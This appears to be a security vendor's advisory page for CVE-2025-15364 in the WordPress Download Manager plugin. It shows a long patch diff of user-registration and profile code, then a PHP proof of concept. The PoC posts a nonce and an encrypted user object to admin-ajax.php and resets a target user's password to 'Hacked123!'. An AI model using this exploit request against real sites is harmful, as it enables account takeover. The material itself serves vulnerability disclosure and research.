+    function downloads(){
+        $params = Crypt::decrypt(wpdm_query_var('__scp'), true);
+        $params['author'] = wpdm_query_var('__pu', 'int');
+		$params['async'] = 1;
+        echo WPDM()->package->shortCodes->packages($params);
+    }
+
+    function favourites(){
+        $params = Crypt::decrypt(wpdm_query_var('__scp'), true);
+        $myfavs = maybe_unserialize(get_user_meta(wpdm_query_var('__pu', 'int'), '__wpdm_favs', true));
+		if(!is_array($myfavs) || count($myfavs) === 0) {
+			Messages::info("Do not have any favourite item yet!");
+			die();
+		}
+        $params['post__in'] = implode(",", $myfavs);
+        echo WPDM()->package->shortCodes->packages($params);
+
+    }
+
+
+}
+
--- a/download-manager/src/User/Register.php
+++ b/download-manager/src/User/Register.php
@@ -30,8 +30,45 @@
     {
         add_action('init', [$this, 'process']);
         add_shortcode('wpdm_reg_form', [$this, 'form']);
+
+        add_action('registration_errors', [$this, 'verifyEmail'], 10, 3);
+
+		add_action('user_register', [$this, 'pendingApproval'], 10, 2);
+
+	    add_action("register_form", [$this, 'reCaptcha']);
+	    add_action("registration_errors", [$this, 'reCaptchaVerify'], 10, 3);
+
     }

+	function reCpathcaActive() {
+		$active_captcha = (int)get_option('__wpdm_recaptcha_regform', 0) === 1 && get_option('_wpdm_recaptcha_secret_key', '') != '';
+		$active_captcha = apply_filters("signup_form_captcha", $active_captcha);
+		return $active_captcha;
+	}
+
+	function reCaptcha() {
+		if($this->reCpathcaActive()) {
+			$form = new Form(['__recap' => [
+				'type' => 'reCaptcha',
+				'attrs' => ['name' => '__recap', 'id' => '__recap'],
+			]], ['noForm' => true]);
+			echo $form->render();
+		}
+	}
+
+
+	function reCaptchaVerify($errors, $sanitized_user_login, $user_email) {
+		if ($this->reCpathcaActive()) {
+			$ret = wpdm_remote_post('https://www.google.com/recaptcha/api/siteverify', array('secret' => get_option('_wpdm_recaptcha_secret_key', ''), 'response' => wpdm_query_var('__recap')));
+			$ret = json_decode($ret);
+			if (!$ret->success) {
+				if (!$errors) $errors = new WP_Error();
+				$errors->add('recaptcha_failed', __('<strong>Error:</strong> Captcha verification failed', 'download-manager'));
+			}
+		}
+		return $errors;
+	}
+
     static function formFields($params = [])
     {
         $reg_data_fields['__phash'] = ['type' => 'hidden', 'attrs' => ['name' => '__phash', 'id' => '__phash', 'value' => Crypt::encrypt($params)]];
@@ -48,7 +85,7 @@
         $reg_data_fields['username'] = array(
             'label' => __("Username", "download-manager"),
             'type' => 'text',
-            'attrs' => array('name' => 'wpdm_reg[user_login]', 'id' => 'user_login', 'placeholder' => __('User Login ID', 'download-manager'), 'required' => 'required'),
+            'attrs' => array('name' => 'wpdm_reg[user_login]', 'id' => 'user_login', 'placeholder' => __('User Login ID', 'download-manager'), 'required' => 'required', 'validate' => 'alphanum'),
         );
         $reg_data_fields['email'] = [
             'label' => __("Email", "download-manager"),
@@ -59,12 +96,12 @@
         if ((int)get_option('__wpdm_signup_email_verify', 0) === 0) {
             $reg_data_fields['password'] = array(
                 'cols' => [
-                    ['label' => __("Password", "download-manager"), 'type' => 'password', 'grid_class' => 'col-md-6 col-sm-12', 'attrs' => ['name' => 'wpdm_reg[user_pass]', 'id' => 'reg_password', 'placeholder' => __("Be Secure", "download-manager"), 'required' => 'required', 'strength' => (int)get_option('__wpdm_pwsc', 0)]],
-                    ['label' => __("Confirm Password", "download-manager"), 'type' => 'password', 'grid_class' => 'col-md-6 col-sm-12', 'attrs' => ['name' => 'confirm_user_pass', 'data-match' => '#reg_password', 'id' => 'reg_confirm_pass', 'placeholder' => __("Do Not Forget", "download-manager"), 'required' => 'required']]
+                    ['label' => __("Password", "download-manager"), 'type' => 'password', 'grid_class' => 'col-md-6 col-sm-12', 'attrs' => ['name' => 'wpdm_reg[user_pass]', 'id' => 'reg_password', 'placeholder' => __("Password", "download-manager"), 'required' => 'required', 'strength' => (int)get_option('__wpdm_pwsc', 0)]],
+                    ['label' => __("Confirm Password", "download-manager"), 'type' => 'password', 'grid_class' => 'col-md-6 col-sm-12', 'attrs' => ['name' => 'confirm_user_pass', 'data-match' => '#reg_password', 'id' => 'reg_confirm_pass', 'placeholder' => __("Confirm Password", "download-manager"), 'required' => 'required']]
                 ]
             );
         }
-        if (!isset($params['captcha']) || $params['captcha'] === true) {
+        /*if (!isset($params['captcha']) || $params['captcha'] === true) {
             $show_captcha = (int)get_option('__wpdm_recaptcha_regform', 0) === 1 && get_option('_wpdm_recaptcha_secret_key', '') != '';
             $show_captcha = apply_filters("signup_form_captcha", $show_captcha);
             if ($show_captcha) {
@@ -73,7 +110,7 @@
                     'attrs' => array('name' => '__recap', 'id' => '__recap'),
                 );
             }
-        }
+        }*/
         $reg_data_fields = apply_filters("wpdm_register_form_fields", $reg_data_fields);
         $form = new Form($reg_data_fields, ['name' => 'wpdm_reg_form', 'id' => 'wpdm_reg_form', 'method' => 'POST', 'action' => '', 'submit_button' => [], 'noForm' => true]);
         return $form->render();
@@ -102,8 +139,8 @@
         $loginurl = wpdm_login_url();
         $reg_redirect = $loginurl;
         if (isset($params['autologin']) && (int)$params['autologin'] === 1) $reg_redirect = wpdm_user_dashboard_url();
-        if (isset($params['redirect'])) $reg_redirect = esc_url_raw($params['redirect']);
-        if (isset($_GET['redirect_to'])) $reg_redirect = esc_url_raw($_GET['redirect_to']);
+        if (isset($params['redirect'])) $reg_redirect = esc_url($params['redirect']);
+        if (isset($_GET['redirect_to'])) $reg_redirect = esc_url($_GET['redirect_to']);

         $force = uniqid();

@@ -114,8 +151,6 @@

         if (!isset($params['logo'])) $params['logo'] = get_site_icon_url();

-        WPDM__Session::set('__wpdm_reg_params', $params);
-
         $tmp_reg_info = WPDM__Session::get('tmp_reg_info');

         $__wpdm_social_login = get_option('__wpdm_social_login');
@@ -141,6 +176,7 @@
         global $wp_query, $wpdb;
         if (!isset($_POST['wpdm_reg'])) return;

+		__::isAuthentic('wdpmregnonce', WPDM_PUB_NONCE, 'read');

         $shortcode_params = Crypt::decrypt(wpdm_query_var('__phash'), true);

@@ -159,7 +195,7 @@
             die();
         }

-        if(!isset($shortcode_params['captcha']) || $shortcode_params['captcha'] ===  true) {
+        /*if(!isset($shortcode_params['captcha']) || $shortcode_params['captcha'] ===  true) {
             $active_captcha = (int)get_option('__wpdm_recaptcha_regform', 0) === 1 && get_option('_wpdm_recaptcha_secret_key', '') != '';
             $active_captcha = apply_filters("signup_form_captcha", $active_captcha);
             if ($active_captcha) {
@@ -176,7 +212,7 @@
                     die();
                 }
             }
-        }
+        }*/

         if (!get_option('users_can_register') && isset($_POST['wpdm_reg'])) {
             $reg_error = apply_filters("wpdm_signup_error", __("Error: User registration is disabled!", "download-manager"), $error_type = 'signup_disabled');
@@ -199,6 +235,19 @@
         $full_name = $first_name . " " . $last_name;
         $display_name = $full_name;

+		if(!validate_username($user_login)) {
+			$reg_error = apply_filters("wpdm_signup_error", __("Invalid Username!", "download-manager"), $error_type = 'invalid_username');
+
+			if (wpdm_is_ajax()) {
+				wp_send_json(array('success' => false, 'message' => $reg_error));
+				die();
+			}
+
+			Session::set('wpdm_signup_error', $reg_error, 300);
+			wp_safe_redirect(wpdm_query_var('permalink', 'url'));
+			die();
+		}
+
         $user_id = username_exists($user_login);

         //Check Username
@@ -297,7 +346,7 @@


                 //To User
-                $usparams = array('to_email' => $user_email, 'name' => $display_name, 'first_name' => $first_name, 'last_name' => $last_name, 'user_email' => $user_email, 'username' => $user_login, 'password' => $user_pass);
+                $usparams = array('to_email' => $user_email, 'name' => $display_name, 'first_name' => $first_name, 'last_name' => $last_name, 'user_email' => $user_email, 'email' => $user_email, 'username' => $user_login, 'password' => $user_pass);

                 foreach ($_POST['wpdm_reg'] as $key => $value) {
                     $usparams["user_" . $key] = $value;
@@ -322,6 +371,7 @@
                 $params['name'] = $display_name;
                 $params['username'] = $user_login;
                 $params['email'] = $user_email;
+                $params['user_email'] = $user_email;
                 $params['user_ip'] = $ip;
                 $params['edit_user_btn'] = "<a class='button' style='display:block;margin:10px 0 0;text-decoration: none;text-align:center;' href='" . admin_url('user-edit.php?user_id=' . $user_id) . "'> " . __("Edit User", "download-manager") . " </a>";
                 //Include all data from signup form
@@ -394,5 +444,26 @@
         }

     }
+
+
+    function verifyEmail($errors, $sanitized_user_login, $user_email)
+    {
+        if (!$errors) $errors = new WP_Error();
+		if(!is_email($user_email)) return $errors;
+        if (!wpdm_verify_email($user_email)) {
+            $emsg = get_option('__wpdm_blocked_domain_msg');
+            if (trim($emsg) === '') $emsg = __('Your email address is blocked!', 'download-manager');
+            $errors->add('blocked_email', $emsg);
+        }
+        return $errors;
+    }
+
+	function pendingApproval($userID, $userData = [])
+	{
+		if(WPDM()->user->requiresApproval()) {
+			update_user_meta($userID, '__wpdm_user_status', 'pending');
+		}
+	}
+
 }

--- a/download-manager/src/User/User.php
+++ b/download-manager/src/User/User.php
@@ -187,7 +187,7 @@
         $page = isset($_REQUEST['cp']) && $_REQUEST['cp'] > 0 ? (int)$_REQUEST['cp'] : 1;
         $items_per_page = isset($params['items_per_page']) ? $params['items_per_page'] : 12;
         //$offset = $page * $items_per_page;
-        $cols = isset($params['cols']) && in_array($params['cols'], array(1, 2, 3, 4, 6)) ? $params['cols'] : 0;
+        $cols = isset($params['cols']) && in_array($params['cols'], [1, 2, 3, 4, 6]) ? $params['cols'] : 0;
         if ($cols > 0) $cols_class = "col-md-" . (12 / $cols);

         $args = array(
@@ -223,4 +223,5 @@
             echo wpdm_paginate_links($total, $items_per_page, $page, 'cp', array('async' => 1, 'container' => "#wpdm-authors{$contid}"));
     }

+
 }
--- a/download-manager/src/User/UserController.php
+++ b/download-manager/src/User/UserController.php
@@ -4,6 +4,11 @@
 namespace WPDMUser;


+use WPDM____;
+use WPDM____MailUI;
+use WPDM__Email;
+use WPDM__Template;
+
 if(!defined("ABSPATH")) die("Shit happens!");

 class UserController
@@ -15,6 +20,8 @@
     public $login;
     public $register;
     public $profile;
+    public $authorDashboard;
+    public $editProfile;

     public static function getInstance()
     {
@@ -26,10 +33,151 @@

     private function __construct()
     {
+
         $this->data             = User::getInstance();
         $this->login            = Login::getInstance();
         $this->register         = Register::getInstance();
+        $this->profile          = PublicProfile::getInstance();
         $this->dashboard        = Dashboard::getInstance();
-        EditProfile::getInstance();
+        $this->editProfile      = EditProfile::getInstance();
+
+	    add_filter('manage_users_columns', [$this, 'addUserColumns']);
+	    add_filter('manage_users_custom_column', [$this, 'addUserColumnData'], 9999, 3);
+
+	    add_action('wp_ajax_wpdmdz_user_status', [$this, 'reviewUserStatus']);
+	    add_action('wp_ajax_wpdmdz_update_user_status', [$this, 'updateUserStatus']);
+
+	    add_action('personal_options', [$this, 'reviewUserStatusEP']);
     }
+
+	/**
+	 *
+	 *
+	 */
+	public function addUserColumns($column)
+	{
+		$column['wpdm_user_status'] = __('Status', WPDM_TEXT_DOMAIN);
+		return $column;
+	}
+
+
+	/**
+	 *
+	 *
+	 */
+	public function addUserColumnData($output, $column_name, $user_id)
+	{
+		switch ($column_name) {
+			case 'wpdm_user_status':
+				$colors = ['' => 'success', 'approved' => 'success', 'pending' => 'warinng', 'declined' => 'danger', 'suspended' => 'danger'];
+				$_status = get_user_meta($user_id, '__wpdm_user_status', true);
+				if(in_array($_status, ['', 'approved']))
+					$status = '<i class="fa-solid fa-check-double"></i> '.__('Approved', WPDM_TEXT_DOMAIN);
+				else if($_status === 'pending')
+					$status = '<i class="fa-solid fa-clock"></i> '.__('Pending', WPDM_TEXT_DOMAIN);
+				else if($_status === 'declined')
+					$status = '<i class="fa-solid fa-times-circle"></i> '.__('Declined', WPDM_TEXT_DOMAIN);
+				else
+					$status = '<i class="fa-solid fa-ban"></i> Suspended';
+				$url = admin_url('admin-ajax.php?action=wpdmdz_user_status&user='.$user_id);
+				return "<div class='w3eden' id='usts-{$user_id}'><span onclick='WPDM.bootAlert("Review User Status", {url: "$url"}, 500);' class='c-pointer text-{$colors[$_status]}'>".$status."</span></div>";
+			default:
+		}
+
+		return $output;
+	}
+
+	function requiresApproval()
+	{
+		return (int)get_option('__wpdm_signups_need_approval', 0);
+	}
+
+	function isApproved($userID)
+	{
+		$status = get_user_meta($userID, '__wpdm_user_status', true);
+		return  in_array($status, ['', 'approved']);
+	}
+
+	function getStatus($userID)
+	{
+		$status = get_user_meta($userID, '__wpdm_user_status', true);
+		$status = $status ?: 'approved';
+		return  $status;
+	}
+
+	function reviewUserStatus()
+	{
+		$id = __::query_var('user', 'int');
+		$user = get_user_by('id', $id);
+		$status = get_user_meta($id, '__wpdm_user_status', true);
+		include Template::locate("review-user-status.php", __DIR__.'/views');
+		die();
+	}
+
+	function reviewUserStatusEP($user)
+	{
+		$colors = ['' => 'success', 'approved' => 'success', 'pending' => 'warinng', 'declined' => 'danger', 'suspended' => 'danger'];
+		$_status = get_user_meta($user->ID, '__wpdm_user_status', true);
+		if(in_array($_status, ['', 'approved']))
+			$status = '<i class="fa-solid fa-check-double"></i> '.__('Approved', WPDM_TEXT_DOMAIN);
+		else if($_status === 'pending')
+			$status = '<i class="fa-solid fa-clock"></i> '.__('Pending', WPDM_TEXT_DOMAIN);
+		else if($_status === 'declined')
+			$status = '<i class="fa-solid fa-times-circle"></i> '.__('Declined', WPDM_TEXT_DOMAIN);
+		else
+			$status = '<i class="fa-solid fa-ban"></i> Suspended';
+		$url = admin_url('admin-ajax.php?action=wpdmdz_user_status&user='.$user->ID);
+
+		?>
+		<div class="w3eden">
+			<div class="panel panel-default" style="display: inline-block">
+				<div class="panel-body">
+					<?php _e('Account status', WPDM_TEXT_DOMAIN); ?>:   <strong id="usts-<?= $user->ID ?>"><span class="text-<?= $colors[$_status] ?>"><?= $status ?></span></strong>
+				</div>
+				<div class="panel-footer">
+					<button type="button" onclick="WPDM.bootAlert('Review User Status', {url: '<?= $url ?>'}, 500);"  class="btn btn-block btn-info btn-sm"><?php _e('Update account status', WPDM_TEXT_DOMAIN); ?></button>
+				</div>
+			</div>
+		</div>
+		<?php
+	}
+
+	function updateUserStatus()
+	{
+		__::isAuthentic('__uscnonce', WPDM_PRI_NONCE, WPDM_ADMIN_CAP);
+		$id = __::query_var('user', 'int');
+		$user = get_user_by('id', $id);
+		$params = [ 'to_email' => $user->user_email, 'name' => $user->display_name, 'username' => $user->user_login, 'display_name' => $user->display_name, 'first_name' => $user->first_name, 'last_name' => $user->last_name, 'email' => $user->user_email ];
+
+		$status = '';
+		if(__::query_var('do') === 'approve') {
+			//$params['subject'] = __("Congratulation! Your signup request is approved", WPDM_TEXT_DOMAIN);
+			//$params['message'] = "Hello {$user->display_name},<br/>Congratulation!! Your signup request is approved! <hr/><a class='button green' href='".WPDM()->user->login->url()."'>Login</a>";
+			update_user_meta($id, '__wpdm_user_status', 'approved');
+			$status = 'approved';
+		}
+		if(__::query_var('do') === 'decline') {
+			//wp_delete_user($id);
+			update_user_meta($id, '__wpdm_user_status', 'declined');
+			//$params['subject'] = __("Your signup request is declined", WPDM_TEXT_DOMAIN);
+			//$params['message'] = "Hello {$user->display_name},<br/>Unfortunately we are unable to approve your signup!";
+			//if(__::query_var('reason', 'txt') !== '')
+			//	$params['message'] .= __MailUI::panel("Reason", [wpautop(__::query_var('reason', 'kses'))]);
+            $params['reason'] = wpautop(__::query_var('reason', 'kses'));
+			$status = 'declined';
+		}
+		if(__::query_var('do') === 'suspend') {
+			//wp_delete_user($id);
+			update_user_meta($id, '__wpdm_user_status', 'suspended');
+			//$params['subject'] = __("Your account is suspended", WPDM_TEXT_DOMAIN);
+			//$params['message'] = "Hello {$user->display_name},<br/>Unfortunately your account is suspended!";
+			//if(__::query_var('reason', 'txt') !== '')
+			//	$params['message'] .= __MailUI::panel("Reason", [wpautop(__::query_var('reason', 'kses'))]);
+			$params['reason'] = wpautop(__::query_var('reason', 'kses'));
+			$status = 'suspended';
+		}
+		Email::send("user-signup-{$status}", $params);
+		wp_send_json(['success' => true, 'status' => $status, 'msg' => __('Operation executed successfully', WPDM_TEXT_DOMAIN)]);
+		die();
+	}
 }
--- a/download-manager/src/User/views/dashboard/download-history.php
+++ b/download-manager/src/User/views/dashboard/download-history.php
@@ -1,10 +1,32 @@
-<?php if(!defined('ABSPATH')) die(); ?>
+<?php use WPDM____;
+
+if(!defined('ABSPATH')) die(); ?>
+<?php if(class_exists('WPDMAddOnDownloadLimit')):?>
+<div class="row">
+    <div class="col-md-8">
+        <div class="card card-default dashboard-card">
+            <div class="card-header"><?php _e('Download Limit Resets', 'download-manager'); ?></div>
+            <div class="card-body">
+			    <?php echo do_shortcode("[wpdm_download_limit_reset_timer]") ?>
+            </div>
+        </div>
+    </div>
+    <div class="col-md-4">
+        <div class="card card-default dashboard-card">
+            <div class="card-header"><?php _e('Download Limit', 'download-manager'); ?></div>
+            <div class="card-body">
+			    <?php echo do_shortcode("[wpdm_user_download_count]") ?> / <?php echo do_shortcode("[wpdm_user_download_limit]") ?>
+            </div>
+        </div>
+    </div>
+</div>
+<?php endif; ?>
 <div class="card card-default dashboard-card">
-    <div class="card-header"><?php echo __( "Download History", "download-manager" ); ?></div>
+    <div class="card-header bg-white"><?php echo __( "Download History", "download-manager" ); ?></div>
     <table class="table">
         <thead>
         <tr>
-            <th><?php _e( "Package Name" , "download-manager" ); ?></th>
+            <th><?php _e( "Package / File" , "download-manager" ); ?></th>
             <th><?php _e( "Download Time" , "download-manager" ); ?></th>
             <th><?php _e( "IP" , "download-manager" ); ?></th>
         </tr>
@@ -13,13 +35,16 @@
         <?php
         global $wp_rewrite, $wp_query;
         $items_per_page = 30;
-        $start = isset($_GET['pgd'])?((int)$_GET['pgd']-1)*$items_per_page:0;
+        $start = isset($_GET['pgd'])?($_GET['pgd']-1)*$items_per_page:0;
         $res = $wpdb->get_results("select p.post_title,s.* from {$wpdb->prefix}posts p, {$wpdb->prefix}ahm_download_stats s where s.uid = '{$current_user->ID}' and s.pid = p.ID order by `timestamp` desc limit $start, $items_per_page");
         foreach($res as $stat){
             ?>
             <tr>
-                <td><a href="<?php echo get_permalink($stat->pid); ?>"><?php echo $stat->post_title; ?></a></td>
-                <td><?php echo date_i18n(get_option('date_format')." H:i", $stat->timestamp); ?></td>
+                <td>
+                    <a class="p-0 d-block mb-1" href="<?php echo get_permalink($stat->pid); ?>"><?php echo $stat->post_title; ?></a>
+                    <div class="text-muted text-small"><i class="far fa-arrow-alt-circle-down mr-1"></i><em><?= __::mask($stat->filename, '...', -20, false) ?: 'Package' ?></em></div>
+                </td>
+                <td><?php echo date_i18n(get_option('date_format')." h:i A",$stat->timestamp + __::timezoneOffset()); ?></td>
                 <td><?php echo $stat->ip; ?></td>
             </tr>
             <?php
@@ -31,7 +56,7 @@
     <div class="card-footer">
         <?php

-            isset($_GET['pgd']) && $_GET['pgd'] > 1 ? $current = (int)$_GET['pgd'] : $current = 1;
+            isset($_GET['pgd']) && $_GET['pgd'] > 1 ? $current = $_GET['pgd'] : $current = 1;
             $pagination = array(
                 'base' => @add_query_arg('pgd','%#%'),
                 'format' => '',
--- a/download-manager/src/User/views/dashboard/edit-profile.php
+++ b/download-manager/src/User/views/dashboard/edit-profile.php
@@ -7,33 +7,49 @@
 <div id="edit-profile-form">
     <form method="post" id="edit_profile" name="contact_form" action="" class="form">
         <?php wp_nonce_field(NONCE_KEY, '__wpdm_epnonce'); ?>
-        <div class="card card-default dashboard-panel">
+        <div class="card card-default dashboard-card">
             <div class="card-header bg-white">
-                <h3 class="m-0 pt-2 pb-2"><i class="fa fa-user-edit title-icon color-primary"></i> <?php echo  __('Basic Profile', "download-manager"); ?></h3>
+                <i class="fa fa-user-edit title-icon color-primary mr-2"></i><?= __('Basic Profile', WPDM_TEXT_DOMAIN); ?>
             </div>
             <div class="card-body">
                 <div class="row">
-                    <div class="col-md-6"><div class="form-group"><label for="name"><?php _e( "Display name:" , "download-manager" );?> </label><input type="text" class="required form-control" required="required" value="<?php echo esc_attr($user->display_name);?>" name="wpdm_profile[display_name]" id="fname"></div></div>
-                    <div class="col-md-6"><div class="form-group"><label for="username"><?php _e( "Username:" , "download-manager" );?></label><input type="text" class="required form-control" value="<?php echo esc_attr($user->user_login);?>" id="username" readonly="readonly"></div></div>
-                    <div class="col-md-6"><div class="form-group"><label for="url"><?php _e( "Title:" , "download-manager" );?></label><input type="text" class="required form-control" name="wpdm_profile[title]" value="<?php echo get_user_meta($user->ID, '__wpdm_title', true);?>" id="title" ></div></div>
-                    <div class="col-md-6"><div class="form-group"><label for="email"><?php _e( "Email:" , "download-manager" );?></label><input type="text" class="required form-control" name="wpdm_profile[user_email]" value="<?php echo $user->user_email;?>" id="email" ></div></div>
-                    <div class="col-md-12"><div class="form-group"><label for="email"><?php _e( "About Me:" , "download-manager" );?></label><textarea class="required form-control" name="wpdm_profile[description]" id="description" ><?php echo esc_attr(get_user_meta($user->ID, 'description', true));?></textarea></div></div>
+                    <div class="col-md-6"><div class="form-group"><label for="name"><?php _e( "Display name:" , WPDM_TEXT_DOMAIN );?> </label><input type="text" class="required form-control" required="required" value="<?php echo esc_attr($user->display_name);?>" name="wpdm_profile[display_name]" id="fname"></div></div>
+                    <div class="col-md-6"><div class="form-group"><label for="username"><?php _e( "Username:" , WPDM_TEXT_DOMAIN );?></label><input type="text" class="required form-control" value="<?php echo $user->user_login;?>" id="username" readonly="readonly"></div></div>
+                    <div class="col-md-6"><div class="form-group"><label for="url"><?php _e( "Title:" , WPDM_TEXT_DOMAIN );?></label><input type="text" class="required form-control" name="wpdm_profile[title]" value="<?php echo esc_attr(get_user_meta($user->ID, '__wpdm_title', true));?>" id="title" ></div></div>
+                    <div class="col-md-6"><div class="form-group"><label for="email"><?php _e( "Email:" , WPDM_TEXT_DOMAIN );?></label><input type="text" class="required form-control" name="wpdm_profile[user_email]" value="<?php echo esc_attr($user->user_email);?>" id="email" ></div></div>
+                    <div class="col-md-12"><div class="form-group"><label for="email"><?php _e( "About Me:" , WPDM_TEXT_DOMAIN );?></label><textarea class="required form-control" name="wpdm_profile[description]" id="description" ><?php echo esc_attr(get_user_meta($user->ID, 'description', true));?></textarea></div></div>
                 </div>
                 <?php do_action('wpdm_update_profile_filed_html', $user); ?>
                 <?php do_action('wpdm_update_profile_field_html', $user); ?>
             </div>
         </div>

-        <div class="card card-default dashboard-panel mt-3">
+        <div class="card card-default dashboard-card mt-3">
             <div class="card-header bg-white">
-                <h3 class="m-0 pt-2 pb-2"><i class="fa fa-key title-icon color-danger"></i> <?php _e( "Update Password" , "download-manager" ); ?></h3>
+                <i class="fa fa-user-circle title-icon color-success mr-2"></i><?php _e( "Profile Picture" , WPDM_TEXT_DOMAIN ); ?>
+            </div>
+            <div class="card-body">
+                <div class="form-group mb-0">
+                    <div class="input-group mb-0">
+                        <input placeholder="<?php esc_attr_e('Select Profile Picture...', 'download-manager'); ?>" type="text" name="__wpdm_profile_pic" id="store-logo" class="form-control" value="<?php echo esc_attr(wpdm_valueof(get_user_meta(get_current_user_id(), '__wpdm_public_profile', true), 'logo')); ?>"/>
+                        <div class="input-group-append">
+                            <button class="btn btn-secondary wpdm-media-upload" type="button" rel="#store-logo"><i class="far fa-image"></i></button>
+                        </div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="card card-default dashboard-card mt-3">
+            <div class="card-header bg-wh

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15364 - Download Manager <= 3.3.40 - Unauthenticated Limited Privilege Escalation via updatePassword

<?php

$target_url = 'https://vulnerable-site.com';

// Step 1: Obtain a valid nonce (__wpdm_update_pass).
// This nonce is a global site nonce. It can often be found in page HTML sources,
// such as on the plugin's login page or user dashboard page.
// This example assumes you have extracted it manually.
$nonce = 'a1b2c3d4e5f67890';

// Step 2: Determine the target user ID (e.g., 2 for a subscriber).
$target_user_id = 2;

// Step 3: Encrypt the user object.
// The vulnerable code uses Crypt::decrypt on the __up_user parameter.
// The encryption key is the site's NONCE_KEY.
// This step requires knowing the NONCE_KEY, which is a WordPress site secret.
// For this PoC, we simulate a successfully encrypted payload.
// In a real attack, an attacker might brute-force or find the key via another vulnerability.
$encrypted_user_payload = 'ENCRYPTED_USER_OBJECT_FOR_ID_' . $target_user_id;

// Step 4: Craft the exploit request.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'wpdm_update_pass',
    '__wpdm_update_pass' => $nonce,
    '__up_user' => $encrypted_user_payload,
    'password' => 'Hacked123!' // New password for the target account.
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

// Step 5: Send the request and check the response.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// The vulnerable endpoint returns a JSON response.
// A successful exploit returns: {"success":true,"message":""}
// A failed attempt (e.g., targeting an admin) returns: {"success":false,"message":"Password update is disabled for this user!"}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School